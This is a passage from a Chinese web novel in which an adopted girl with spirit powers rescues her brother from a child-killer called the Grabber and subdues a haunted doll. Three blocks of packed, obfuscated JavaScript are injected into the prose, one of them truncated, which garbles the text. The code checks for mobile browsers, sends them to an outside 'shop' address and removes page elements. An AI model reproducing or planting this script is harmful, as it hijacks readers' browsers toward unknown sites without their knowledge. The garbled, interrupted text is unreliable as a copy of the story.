鬼使神差之下,亚当悄悄探出手指,慢慢伸向科蒂斯“越界”的右手。 他要给她一点小小的教训! 手指还没碰到,熟睡中的女孩儿突然转过头来,冰蓝色的眼眸一眨不眨地盯着亚当,仿佛能看穿他整个灵魂。 亚当心虚地缩回手,被看的心里发毛。 “怎么了?”他虚张声势。“想打架吗?” 科蒂斯摇摇头,又乖巧地闭眼休憩。 “亚当,”玛莎的声音中还带着未散的严厉。“安静些。” 亚当委屈地瘪起嘴,赌气地转过身,额头抵上冰凉的玻璃窗。 他就知道,果然就跟恰吉说的一样,爸爸妈妈会渐渐地不再爱他。 都怪科蒂斯! 一回到家,亚当就冲回了房间,玛莎和克里斯本想找他谈谈,可这孩子已经反锁了房门。 两人只好先让他平静下来,再与他好好聊聊。 “科蒂斯,”他们先与刚接触不久的女儿进行了一场谈心。“不管刚才亚当说了什么,那都不是事实。你是世界上最讨人喜欢的孩子,知道么?” 科蒂斯望着自己的脚尖,点点头:“我知道的。” “好孩子。”玛莎亲了亲她的脸颊。“爸爸已经把今天买的东西放到你的房间了,你可以去整理下怎么样?如果有缺的可以告诉我们?” 科蒂斯微笑道:“好的妈妈。” 她转身回了房间。 望着女孩儿的背影,夫妇二人内心一片柔软。 克里斯抱着玛莎的肩头,忍不住感慨:“她真是一个好孩子。” “Yeah,我始终不明白为什么她的父母会离开她。”玛莎满脸疼惜。“这得是发生了多么可怕的事?” 克里斯:“噢,亲爱的,我们不是说好了不在这个家里提那些事吗?还有那些可怕的新闻。” “我知道。”玛莎说。“我只是在想,是不是正是因为那些过往,才让这孩子变得这么小心。” 克里斯:“你也看出来了?” 玛莎叹了口气:“她太听话、太完美了,不管说话做事总是恰到好处。可是她这个年纪的孩子,不该这么懂事才对,瞧瞧亚当。噢,我多希望她能像亚当那样对我撒娇、发脾气。” “噢,亲爱的。”克里斯亲了亲玛莎的发顶。“我们有很多时间来改变这个孩子,我们能做到。” 玛莎依偎在丈夫怀里:“嗯,我知道。” 另一边,亚当的房间。 气头上的男孩对着恰吉大吐苦水,抱怨科蒂斯的一切。 恰吉嘿嘿一笑,说:“就像我说的,你需要先她一步出手。” 亚当:“我该怎么做?” “很简单。”恰吉朝他招招手,趴在他耳边嘀咕了几句。 科蒂斯才把房间整理好,门就被敲响。 她打开门,对来人有些意想不到。 “哥哥?你有事找我?” 亚当捧着一个汽车模型,略显紧张:“我想向你道歉,因为我说过的那些话,这是我最喜欢的模型,送给你,希望你能原谅我。” 科蒂斯愣了愣,没有接过,她说:“我没有生你气,哥哥,你不需要这样。而且,我也不能拿走你最喜欢的东西,你会伤心。” “噢,我坚持。”亚当舔了舔唇角。“那这样,你来我的房间,我的玩具你尽情挑选!” 科蒂斯还在犹豫,但架不住亚当的苦苦哀求。 亚当:“拜托了科蒂斯!我是真的想跟你和好,如果你不来,就证明你没有原谅我,我会不开心的,爸爸妈妈也会不开心。” 科蒂斯只好妥协:“好吧。” “太好了!来吧!”亚当拉着科蒂斯跑到他的房间。 作为男孩子,他的房间和科蒂斯的完全不一样,但同样布置精致,处处都透露着男孩的喜好。 亚当才七岁,但是电脑、手柄什么的一应俱全。桌子的角落,堆着满满的游戏光碟,还有流行音乐的CD。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385830|200242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 玛莎和克里斯甚至为他定制了一个很高的玻璃柜,专门用来放他喜欢的玩具和模型。 由此可见,平常他们对他有多宠爱。 科蒂斯不动声色地将一切收入眼中。 “或许你会喜欢这个。”亚当拿出来一个有着大眼睛和橙鼻子,大笑着的红色怪兽布偶。“他叫艾莫,曾是我最爱的娃娃,但我已经长成大孩子了,不能再玩了。我把他送给你,希望你喜欢。” 科蒂斯笑着接过:“我很喜欢。” 亚当干笑两声:“那就太好了。哦,对了,他还有另外四个伙伴,我想一起送给你,但是我忘记放在哪里了,你能帮我一起找找吗?” “当然可以。” 科蒂斯将布偶放在床上,跟亚当一起在房间里找。 没过几分钟,他们就发现了放在衣柜顶上的玩偶们。 亚当搬来凳子,踩上去尝试着够了一下,但还是差了一截,于是他又找来一个小凳子架在上面。 “这样应该可以了。”亚当扭头对科蒂斯说道。“你来吧,科蒂斯,我在下面帮你扶着。” 科蒂斯垂下睫毛:“或许我们该找爸爸来帮我们拿,你觉得呢?” “额…爸爸在忙,而且他今天才禁了我的足,我不想跟他们讲话。”亚当磕磕绊绊地解释。 这貌似是一个合理的理由。 “你确定让我上去吗?哥哥?”女孩儿再次轻声询问。 那双如极地冰川一般漂亮的蓝眼睛静静注视着亚当,让他压力倍增。 亚当不住咽下口水,呼吸也变得不稳:“是的,放心,我会扶好你,不会让你摔倒的。” 科蒂斯没有再反驳:“如果你坚持。” 她踩着刚买的棕色小皮鞋,爬上这个简易的梯子。 布偶放的离柜子边缘还有一段距离,五岁的小姑娘得踮着脚才能勉强够到。 亚当心虚地心如擂鼓,他下意识看向床底下。 躲藏在里面的恰吉做了一个赶快的手势。 想着自科蒂斯来之后父母的偏心,还有他未来的生活,亚当微喘着气打开了窗户。 窗户离衣柜并不远,高度也不低。 但梯子刚好架在了窗户这边,高度也刚好达到能让身高不到一米二的小孩儿,不小心跌下去。 亚当的手开始颤抖,他甚至不敢看科蒂斯一眼。 那边恰吉还在不停催促。 亚当往外看看,两层楼的高度让他害怕。 如果科蒂斯真的掉下去……亚当被自己的想象吓到,退后一步。 “不恰吉,我不觉得我能…” 话未说完,穿着工装裤的玩偶终究是按耐不住,炮弹一样地冲出来,撞上椅子! 脆弱的梯子轰然倒塌,科蒂斯单薄的身体向侧边倒去,刚好穿过了窗户,向下坠去! “不!”电光火石之间,亚当抓住了科蒂斯的手。“抓紧我!科蒂斯!” 科蒂斯:“啊!救命!救命!” 恰吉看到这一幕,恨铁不成钢地举起了胳膊。 既然如此,那他就只好大方地送两人一起走了。 他刚想动手,突然感到身后一阵凉意,像是被更恐怖的东西盯上了一样。 可转头却什么都没有看见,只有一只黑色的飞蛾在墙角扑腾了两下翅膀。 也就是他这分神的空档,克里斯和玛莎听见了动静冲上来,救下了两个孩子。 “这是怎么一回事?”克里斯惊魂未定,急忙问两人。 亚当支支吾吾,不知道怎么解释。 “是意外。”科蒂斯说道。“我们很抱歉,但真的只是意外。” 克里斯和玛莎看上去似乎并不相信,但眼下他们只顾得上安慰两个孩子。 “亚当?你有受伤吗?” 亚当仍旧沉默,害怕地低下了头。 8. 第 8 章 “你失败了。”恰吉坐在床脚,不断向躲在被窝中的男孩抱怨。“你搞砸了一切!” “但是我真的做不到!”亚当从被窝里钻出来,委屈地哭出来。“我不能那样做,那不对。” “噢,Fuck。”恰吉翻了个大大的白眼。“你真是个彻头彻尾的失败者,这下我们永远都除不掉她了,除非玛莎和克里斯自己赶她走。” 话音刚落,恰吉的邪恶小脑袋又想到了一个绝妙的主意。 他坏笑着扑到亚当面前,开始不断刺激男孩幼小的心灵:“瞧瞧你现在,你要一无所有了。因为你的失败,科蒂斯没死,玛莎和克里斯也会觉得你是个坏孩子,他们不会要你了!” “你胡说!”亚当涨红着脸反驳。“爸爸妈妈才不会不要我!” 亚当:“那是之前,现在你做了坏事,你想推科蒂斯下楼!玛莎和克里斯都看到了,他们不相信你,只是嘴上不说而已。不然他们怎么只顾着安慰科蒂斯,不关心你呢?那是因为他们偷偷在商量把你送进监狱里去!” 亚当害怕地捂住了嘴,嗖的一下钻进被子里,瑟瑟发抖。 恰吉也钻了进去,与男孩面对面。 “跑吧,亚当,现在正是好时机,克里斯带科蒂斯去医院检查了,只剩下玛莎在家。我会帮你引开她的注意力,你快跑的远远的,等到这事儿过去了你再回来。” 亚当粗喘着气,大脑一片混乱,只能听得见恰吉的声音。 “走吧,亚当,放心,我会帮你的。”玩偶的小手戳了戳亚当的额头,嘴角翘着一个夸张的弧度。“我永远都会。” 他们动作迅速,恰吉负责在后门吸引玛莎的注意,亚当则趁机从前门逃跑。 他不知道要去哪里,也不知道以后怎么办,可他不想进监狱,所以他只是害怕地不停跑,不停跑。 直到撞上一个留着凌乱半长头发的高大男人。 “噢,我很抱歉,先生。”亚当眨巴着眼泪,向男人道歉。 男人靠在他的黑色面包车上,举止怪异。 亚当直觉要远离他,道歉后就准备跑开。 但是一只大手突然就按上了他的肩膀,让他动弹不得。 忽的,一个黑色气球飘来,遮住了亚当的眼睛。 一直到科蒂斯和克里斯从医院回来,他们都没有发现,亚当其实早已经不见。 “嘿嘿嘿!”房间的角落,心怀不轨的玩偶奸笑着,等待着好戏开场。 一开始,他们并没有发现异常,以为亚当只是还在生闷气。 可直到晚餐时间,不管玛莎怎么敲门,里面都没有任何动静,她才慌了神,赶紧喊来丈夫。 克里斯一刻也不敢等,焦急地直接撞开了房门。 房间内空空如也,哪里还有孩子的身影。 “亚当?亚当!”玛莎情绪崩溃哭出来,差点倒在地上。 克里斯抱住她,强压着痛苦不停安慰。 科蒂斯默不作声地走到床边。 她瞧见了压在枕头底下的纸条,趁玛莎两人不注意,她悄悄拿起来捏在手心,看了一眼。 纸条上用铅笔歪歪扭扭地写着——爸爸妈妈,我走了,我不得不这么做,都是科蒂斯逼我的!她是个坏家伙! 科蒂斯神色不变,将纸条藏进兜里。 克里斯报了警,希望能借助警方的力量来找回亚当。 但由于孩子是从自己家里消失的,而门上的警报系统和大门也没有遭到破坏的痕迹,所以不可能是绑架,警方只能将其暂时定为离家出走,并嘱咐夫妇二人先询问附近的亲朋好友,看孩子有没有躲到他们家里。 与此同时,警方则去查看附近的监控是否有拍到什么线索。 客厅里,玛莎不住地哭泣。 她明明在家,可却不知道亚当是什么时候不见的。她不断责备自己,唾弃自己不是个合格的妈妈。 科蒂斯为玛莎端上一杯热茶,擦去她的眼泪:“别哭,妈妈,我们能找到哥哥的。” 玛莎吸了吸红彤彤的鼻子:“谢谢,宝贝。” 她端起热茶,还没喝上一口又放下。 “我得去亚当的房间找找,或许有什么线索,我得去…” “噢,妈妈。”科蒂斯突然抱住玛莎,声音染上哭腔。“不要这么苛责自己,拜托,你没有做错事。” 玛莎发红的眼眶一下子又涌出泪水,她抱着科蒂斯嚎啕大哭起来。 不知道过了多久,玛莎哭到精疲力尽,昏昏沉沉地在沙发上睡过去。 科蒂斯这才抬起头。 那张干净平淡的小脸,哪里看得见一丝哭过的影子。 科蒂斯为玛莎盖好毯子,转身上了楼。 她当然不能让玛莎或者克里斯去亚当的房间。 因为某只捣乱的老鼠多半又给她捏造了某些“罪证”,正等着两人去发现呢。 科蒂斯觉得,她上次是不是表现的太温柔了?所以才让恰吉产生她不会捏碎他的错觉。 一打开门,那只捣乱的大老鼠就从她眼前一闪而过。 而玻璃窗上也被红蜡笔涂上,科蒂斯是凶手几个大字。 科蒂斯眉头微动,躲在床底下想偷袭他的恰吉便被无形的力量拽了出来,绑到她面前。 “什么!”恰吉差点瞪掉了自己的眼睛。“你到底是什么东西!” 科蒂斯不语,冷着脸伸出手指。 她戳了戳恰吉的额头:“我以为你会长点教训。” 手指移动,点了点恰吉的右胳膊。下一秒,那条胳膊便被不知名的力量硬扯下来,碾碎。 科蒂斯:“但是没想到,你还是这么蠢。” 手指再次移动,恰吉的另一只胳膊也碎成了渣渣。 科蒂斯:“如果再敢做多余的事,我保证你会一点儿都不剩。” 超出认知的力量让恰吉瑟瑟发抖。 又是跟上次一样,明明只是玩偶身体受到伤害,可他的灵魂却也跟着被撕扯! 这个小姑娘的特殊能力,仿佛是上帝的赐福,能杀死一切邪恶。 恰吉向来都懂得审时夺度,所以立刻开口求饶:“我会乖的…拜托…” 科蒂斯:“亚当去哪儿了?” “我不知道。”恰吉如实回答。 他只是诓了那孩子离家出走好栽赃科蒂斯,又不负责亚当的后续。 科蒂斯轻哼一声,用纸将玻璃窗上的字擦掉,而后拽着恰吉的残躯回到自己的房间。 她粗暴地将恰吉塞进了衣柜,临走时好心提醒:“不要动,一厘米都不要,你不想知道后果的,相信我。” 明明只是玩偶,也早就没有了心跳,但恰吉就是觉得浑身打了个冷战,心脏开始发抖。 柜门被关上,他一动不动,装作普通玩偶的样子。 夜晚,由于亚当的失踪,玛莎和克里斯神情紧绷,根本无法入睡,两人一直坐在客厅中等警方的消息。 眼下的情况,科蒂斯不太好直接消失,只能等待机会,趁两人睡觉时再行动。 临近深夜,警方再次来访,带来了新的线索。 可惜的是,这并不是好消息。 他们怀疑亚当的失踪是抓取者再次行动。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385831|200242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听到这个名字,玛莎差点晕过去。 只因近期这块城区已经发生好几起儿童失踪案,都是这个抓取者所为。 他的标志正是在失踪地点留下一束黑色气球。 而警方正是在社区外的一条巷子里,发现了黑色气球,才有了这个猜测。 被抓取者绑架的儿童没有一个找到的,连尸体都没有,他们合理怀疑抓取者杀害了所有儿童,并处理了尸体。 一直以来,警察都没有任何关于抓取者的线索。换句话说,亚当平安回来的可能性,几乎为零。 玛莎已经没有力气继续听了,几乎警察刚离开,她便猝倒在丈夫怀里,不省人事。 克里斯急忙送她到床上休息,可紧接着,他也捂脸无声哭泣。 “爸爸?”科蒂斯穿着睡裙,为他端来一杯热牛奶。“别哭,哥哥会回来的。” 克里斯胡乱抹掉眼泪,接过牛奶,亲了下科蒂斯毛茸茸的发顶:“我知道,谢谢你甜心。去睡觉吧,已经很晚了,这些糟心事有大人来处理。” 科蒂斯点头,回到了自己的房间。 她数着时间等待,一直到克里斯也疲惫地睡着后,屋内陷入一片黑暗与寂静,她才从床上坐起来。 穿上外套,换上小皮鞋,长卷发也绑成利落的马尾。确认锁好门后,科蒂斯打开窗户,翻了下去。 女孩儿的身体没有下坠,而是以平缓的速度降落,落地时没有发出一点儿动静。 她记得警察所说的那个街道在哪儿,决定先从那里找起。 社区的街道很安静,路上也黑乎乎的,只有少数几个街角才有一盏昏暗的路灯用于照明。 这让科蒂斯的娇小身影完全不会被发现。 很快,她就来到了案发地点。 黑色气球被警方带回去当做证据,这个角落便没什么留下来的。 不过,科蒂斯的目的也并不是找到什么遗留下来的线索。 她期待的能帮上忙的,是那些漫无目的游荡的灵魂。 比如…不远处那几个围在一起的孩子们。 科蒂斯走上前与他们搭话:“你们好,我想问问你们今天在这条街上有看到什么不同寻常的事吗?” 五个孩童的亡魂齐刷刷看向她,腐烂的眼球差点从眼眶中掉出来。 他们没想到有人的灵力能这么强,能直接看到他们并交流,要知道,哪怕那些有真本事的灵媒也只能勉强感受到他们而已。 五个孩子一齐围上来,不想让科蒂斯逃掉。他们张开嘴想说什么,但一开口,乌黑的血便从口中涌出,说出的话也含糊不清,听不清楚。 不一会儿,乌黑的血便漫过科蒂斯的脚底,染完了皮鞋。 五个孩子越发焦急,拼命蠕动着舌头,却还是说不出话来。 科蒂斯见过这种状态。 灵魂的能量不够,便不能直接跟她说话,只能通过某种特定的条件搭桥。 换句话说,他们太弱了。 像妈妈那样强大的恶灵就可以直接与她交流,只不过妈妈不爱说话。 “你们有其他方法吗?”科蒂斯平静询问。 五人微愣,然后又是一齐扭头。 路边有一座废弃的公共电话亭,纯黑色,从上面积攒的灰尘来看,应当是很久没人使用过。 下一秒,空旷的街道上响起了电话铃声。 科蒂斯走进去,在五个亡魂急切的目光中接了电话。 科蒂斯:“说吧。” “我们都是被抓取者杀死的!” “请你帮帮我们!” 9. 第 9 章 科蒂斯从他们口中了解到实情。 这五个亡魂都是抓取者的手笔。 从布鲁斯到罗宾,近半年的时间里,抓取者接连出手,一一绑架他们,折磨致死,并埋进了自家后院。 他尤其喜欢折磨男孩子,本来这次他的目标是另一个男孩,可惜亚当倒霉地撞上了他,让他临时改变主意。 布鲁斯五人看着一切发生,他们不得不,只因他们的灵魂无法安息,也无法离开,只能被困在这里。 他们等待着,直到亲眼看到抓取者受到惩罚,直到亲人带着自己的尸体回家,他们才能往生。 至于抓取者的真实身份他们自然也知道,正是住在这条街上的人。 他们的尸体也被埋在他的院子里,也正因如此,他们的活动范围才如此有限。 科蒂斯的眉头轻微挑动一下。 她没想到真相来的居然这样快。 “我们会尽可能地帮助亚当,直到你带人救出他。”公用电话中又传出失真的声音。“我们已经和他通过电话,用我们五个所有的经验,指导他选择能活的最久的那条路。” “但是,你还是要尽快,抓取者感到无聊后,会直接动手。” “我知道了。” 女孩儿没什么波动的话语通过电话传进亡魂的耳中。 “不会很久的。” 他们听见那道稚嫩却沉稳的声音如此说道。 在他们的指引下,科蒂斯很快便找到了抓取者的家。 她从院子翻进去,刚踏上那片土地,一股阴凉感就直冲脚底,令人胆寒。 五个男孩的亡魂再次出现,他们整整齐齐地站在一侧,目光恳切。 科蒂斯略过他们,溜到后门,只是一个抬手,门锁便从里面自动打开。 她轻手轻脚地走进去,眯着眼睛打量房屋。 里头黑乎乎的,看不清陈设,但传进鼻子里的味道却并不算难闻。 她打开随身的小手电,刚勉强看清四周,突然,五个亡魂再次出现,与她脸贴着脸。 再一个眨眼,他们又瞬移到另一个角落,一齐沉默地伸出手,指向通往地下室的门。 科蒂斯心领神会。 地下室的门是扇厚重的大铁门,特制的,可见抓取者为了能尽情折磨那些男孩花了多少心思。 科蒂斯运用能力,撬开了门锁。 吱呀—— 铁门打开的声音在寂静的房中格外刺耳。 亡魂们站在一旁心惊肉跳,恐怕被抓取者发现,可一看女孩儿,还是那副没有什么表情的平淡模样。 他们愣住,一时间竟然分不清究竟谁才是亡魂。 科蒂斯扶着墙壁走进去,地下室又大又空,看不见任何陈设,手电的灯刚照进地下室,立刻便被浓重的黑暗吞没。 她只好走的更深,完全下了楼梯,用着那束微弱的灯光仔细寻找。 终于,科蒂斯看见了蜷缩在角落里的亚当,以及他上方的黑色电话。 可怜的男孩冷的抱作一团,浑身上下只有一张绿色的旧床垫,脚脖子上一条手臂粗的铁链在灯光下泛着寒光。 一只黑色的飞蛾从那张床垫的窟窿里飞出来,扇着翅膀落到天花板的角落。 “亚当?”科蒂斯来到他身边,压低声音,轻声呼喊。 睡梦中的男孩抽搐了一下身体,醒了过来,但第一时间却是手脚并用急忙后退,抱住自己不住发抖。 “是我,亚当。”科蒂斯又喊了一声。“科蒂斯。” 亚当浑身打了个激灵,慢慢抬头,手电的光向下打在他的下巴上。 他眯了眯眼睛,借着这束光看清了面前的人。 娇小的女孩儿穿着浅蓝色睡裙和红色针织外套,可爱又亮眼。 太阳般耀眼的金色发丝在沉沉黑暗中好像泛着光,那双冰蓝色的眼眸清澈透亮,干净的如同刚融化的冰川水。 亚当觉得自己一定是在做梦,不然他怎么会在这样可怕的地方看到了天使? 噢,上帝啊,难道他已经被绑架犯杀死了吗?现在看到的一切都是天堂编织的梦幻? 科蒂斯:“亚当?” 亚当摇摇头,意识回笼,他看见科蒂斯略显担忧的脸,一瞬间,所有的害怕与恐慌爆发出来。 “科蒂斯!”他哭着抱住女孩儿,鼻涕眼泪全擦在了女孩儿的肩头。“你们终于找到我了!” 科蒂斯笨拙地拍拍他的背,低声说:“只有我一个人。” 亚当的哭声卡在喉咙里。 他白着脸,心惊胆战:“什么?你怎么找到我的?” “我接到了电话。”科蒂斯指了指墙上那台破旧的老式黑色座机。“有五个男孩指引我找到了你。” 亚当瞳孔颤抖,并不是恐惧,而是碰见秘密共享者的兴奋:“你也接到了鬼魂的来电?” 科蒂斯点头。 亚当的脸色因为激动而稍显正常,但很快,他又想到更严重的问题:“你快回去,科蒂斯,趁那个绑架犯还没发现你来了,快逃回去找爸爸妈妈来救我!” 他扯了扯脚上的铁链:“我打不开这个,你没办法带我一起走,所以快去找爸爸妈妈来帮忙。” 好不容易有人找到他,要是连科蒂斯也遭了殃,他就彻底没希望了。 科蒂斯顿了顿,点头答应:“好,你一定要自己小心啊,亚当。” 亚当:“我会的。” 科蒂斯起身准备先离开,但是一转头,却意外撞上了一座肉山。 抬头,一张恶魔面具映入眼帘。 只是一眼,亚当的脸便失去了全部血色。 抓取者伸出胳膊,攥住了女孩儿纤细的脖颈。 很快,那张白净的脸因窒息而涨红,女孩儿的小腿也胡乱踢起来。 亚当无力地看着,抱着腿无声流泪。 眼见着科蒂斯逐渐失去动静,亚当突然爆发出一股莫名的勇气。 他炮弹一样撞上抓取者,嘶吼道:“不准伤害我妹妹!” 一时不察,高大的男人还真的被他撞开,科蒂斯倒在地上,生死不明,细瘦的脖颈上一片压痕。 亚当手脚乱踢乱挠,他也不求能起到什么作用,只希望能为科蒂斯争取到一点逃跑的时间。 但他还是太低估一个成年人的力量。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385832|200242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >抓取者很快调整过状态来,只是一拳,便将亚当打晕在地。 他打开地下室的灯,把亚当丢回原位,至于那个女孩儿,他不打算让她活过今晚。 大手再次伸向科蒂斯的脖颈,想要拧断它。 可是抓取者忽然发现,刚才掐住的痕迹竟然已经消失了。下一秒,他对上了那双沉静的冰蓝色眼睛。 他有片刻的晃神。 也就是趁着这片刻,科蒂斯抓起手电狠狠砸向他的额头。 抓取者退后几步,还不等他稳定身形,科蒂斯迅速窜上他的肩膀,灵活的身躯缠绕上他的脖颈,软绵绵的手掌一只扶上他的太阳穴,一只抵上他的下巴。 这是她在公司学到的最简单的杀招,如果是以前的她,能够轻易扭断身下人的脖子,可现在,她的力量太弱了,没办法直接对抗一个成年男性。 眼见都三秒了还是没能听见骨折声,科蒂斯默默叹了口气。 看来还是得用别的办法。 而抓取者感到威胁后急忙后撤,重重撞上墙壁,一下,两下,他顾不上背后的疼痛,只想着尽快解决身上的麻烦。 感到脖子上的力道松懈半分,抓取者伸长胳膊去够,他抓住了科蒂斯的肩膀,用力撕扯。 但下一秒,肩颈上的女孩儿凭空消失了。 他以为自己又出现了幻觉。 可是,再一转头,女孩儿就站在他对面,金色的马尾一丝不苟,身上的睡裙也干净的没有一粒灰尘。 他向女孩儿发出了质问:“你是什么鬼东西?” 回答他的,是一旁自动朝他砸过来的黑色电话。 咚—— 一时不察,抓取者又被砸到,而腿上也莫名缠上本该锁住亚当的铁链。 他被绊倒,重重倒下去。 科蒂斯自然不会放过这个机会,立刻灵巧地冲到抓取者背后,与他背靠着背。 而她手中,不知何时捏着黑色电话的电话线两端。 在她背后,抓取者拼命挣扎着,但脖子上的电话线仍是越收越紧,渐渐的,他的脸色由红转紫,呼吸也逐渐困难。 他还想做最后的挣扎,手疯狂地向后挥舞。但背上的女孩儿岿然不动,明明她的身形是那么单薄,力量却是超乎人的想象。 在生命的最后,他听见女孩儿冷漠的声音。 科蒂斯:“不要那么快就往生,有几位朋友正在等你,玩的开心。” 抓取者睁着眼睛,逐渐失去意识。 再然后,他看到了站在自己面前的五个亡魂。 “我们等很久了,混蛋。” 亡魂们围住他,并逐步靠近。 刚成为灵魂的抓取者终于切身体会到了恐惧,他逃无可逃,避无可避,也没有人放过他。 “啊啊啊!” 复仇的场景总是百看不厌。 科蒂斯内心感慨。 她静静看着五位亡魂一点点地啃食着抓取者的灵魂,他们对他肆意宣泄着愤怒与恨意。 等一切归于平静后,科蒂斯这才不慌不忙地上楼拉响警报。 然后躺到亚当身边,闭上眼睛,等待被警察发现。 10. 第 10 章 亚当是被家人的呼唤声叫醒的。 他睁开眼,看到的第一个便是玛莎哭泣的脸。 他回家了,还见到了妈妈。 这又是梦吗? “妈妈?”亚当声音很轻,生怕怕戳破这个美好的梦境。 听到声音的玛莎喜极而泣,紧紧地抱住她失而复得的珍宝:“是我!宝贝!噢,我的亚当!” “妈妈!”亚当也紧紧地回抱过去,一时间所有的情绪一起涌出,他语无伦次地说。“我很抱歉妈妈!我不该做坏事,我不该乱跑…” “没事的没事的,一切都过去了。”玛莎不停亲着亚当的额头。“没关系,宝贝,没有人会怪你,不会有人再伤害你了。你很安全,爸爸妈妈都在,你很安全。” 亚当热泪盈眶,他真是太傻了,怎么会听那个坏玩偶的话做那么多过分的事呢。 “科蒂斯!”他突然想起来。 “别担心,她也没事。”克里斯抱着熟睡中的科蒂斯走来。 女孩儿还穿着单薄的睡裙,红色针织外套被盖在她的身上,显得她那么瘦小。可是在亚当眼中,她又是那么高大。 亚当永远都不会忘记,在那个让他绝望的地下室里,在他最害怕、最孤单的时刻,是科蒂斯孤身闯入,给他带来希望。 他以后一定会成为一个合格的哥哥,好好守护她。 亚当握住科蒂斯的手,暗暗发誓。 守在米勒家的警察见亚当醒来,上前斟酌开口:“你好,小勇士,你能告诉我后面发生了什么吗?你的妹妹科蒂斯是怎么找到你的?还有那位戴着面具的坏人又是怎么被…” 他顿了顿,到底是没有再问下去。 玛莎和克里斯也不同意他们再继续追问。 亚当只有七岁,且刚被解救出来,他必须远离一切关于这起绑架的任何事情。 “能等我妹妹醒来再说吗?”亚当祈求地看着警察。“拜托,她真的很需要休息。” “当然可以。”警察放弃了追问,让这户可怜的家庭好好度过一个夜晚。 玛莎和克里斯抱着两个孩子,一刻也不想撒手。 楼梯的拐角处,偷偷跑出衣柜的恰吉糊涂地挠了挠头,看完刚才发生的一切,他总觉得有哪里不太对劲。 但他想不通,只能先拖着残破的身体回衣柜,以免被那个可怕的小孩儿发现。 科蒂斯一醒来,便发现亚当正躺在自己身边,紧紧握着自己的手。 她动了动,亚当立刻醒了过来,声音关切:“你醒了!你还好吗?科蒂斯?” 科蒂斯“虚弱”地坐起来,摇摇头:“我没事。我们这是回家了?是谁救了我们的?” “我正想问你呢。”亚当同样疑惑地眨眼。 他脑瓜子转了转,突然想到一点:“会不会是那几位亡魂救的我们?” 科蒂斯赞同地点点头:“我也觉得很有可能。” “如果真是这样,那警察问起我们该怎么说呢?”亚当捧着脑袋,满脸苦恼。“我不想说出我们的秘密。” 科蒂斯微翘起嘴角:“我也不想。” 她想了想,说:“或许我们可以不告诉他们,就说不知道就好了。” 亚当有些懵懂:“这样可以吗?” 科蒂斯点头:“因为我觉得,说是亡魂帮助了我们,他们可能会更加不相信。” 说不定还会派医生来评估他们的精神状态。 亚当还好,可能只是由家庭医生进行随访。 但她的情况不同。 她才刚被领养,这种时候如果被评估为精神问题的话,儿童机构很有可能向法庭起诉,收回米勒家的领养权利。 于是经过两人的商量,又去征得爸爸妈妈的同意后,他们决定向警方说出一部分真相。 科蒂斯找到亚当的位置是意外,她太担心哥哥,所以晚上偷偷溜出去找他,结果意外撞见抓取者大半夜鬼鬼祟祟地挖着什么。 她好奇凑上去看,然后不幸被抓取者发现,对方顺手将她也关进了地下室。 至于后来抓取者怎么死的,他们一问三不知。事实上,他们也确实不知道抓取者已经死了。 对于两个孩子的话,警方自然不会怀疑,于是只能将他的死亡归于一位不知名“义警”的见义勇为。 这不是胡乱说说,而是因为从尸检报告来看,抓取者是被人打趴下后活活勒死的。 要知道,抓取者的身高体重在成年人中也属于魁梧的那一类,能打趴下他的人,必定也是个身强体壮的成年男性,比如像蝙蝠侠那种。 而案发现场唯二活下来的两位,一个五岁,一个七岁,怎么看都不可能徒手空拳打倒抓取者。 因此,抓取者的死亡真相便不了了之。 科蒂斯向警方坦言,正是看见抓取者在他后院里挖东西才起的疑心。 警方并没有轻视她的话,而是立刻派出人手开挖。 事情跟他们想的一样糟糕,他们一共挖出了五具尸体。 都是年纪不大的男孩。不用尸检就能看出,他们都是被折磨致死, 警方忍着痛心通知了这些男孩的家属,让他们来认领尸体。 一直到这个时刻,五位亡魂才了结了所有心愿,进入往生。 抓取者的哥哥手足无措地站在自家空地上,脸色苍白地看着一具具尸体被抬出。 他痛苦地跪倒在地,不住地祈求原谅。 自此,困扰社区大半年的儿童失踪案告破。 而为了保护科蒂斯和亚当的正常生活,警方在公布真相时并没有透露两人的任何信息。 “终于都结束了。”一家人抱在一起,劫后余生般长舒一口气。 “孩子们,答应我,再也、再也不要自己单独出门。”玛莎再次强调。 科蒂斯和亚当乖巧点头同意。 在爸爸妈妈的怀里,两人相视一笑,调皮地眨了眨眼睛。 ……… “我知道是哪里不对劲了!”等科蒂斯一回房间,恰吉就忍不住从衣柜里跳出来。“原来所有的一切都是你在掌控!你才是幕后凶手!” 科蒂斯不语,只是对着镜子梳理自己的长发,一下一下,缓慢又郑重,像是在完成某种任务。 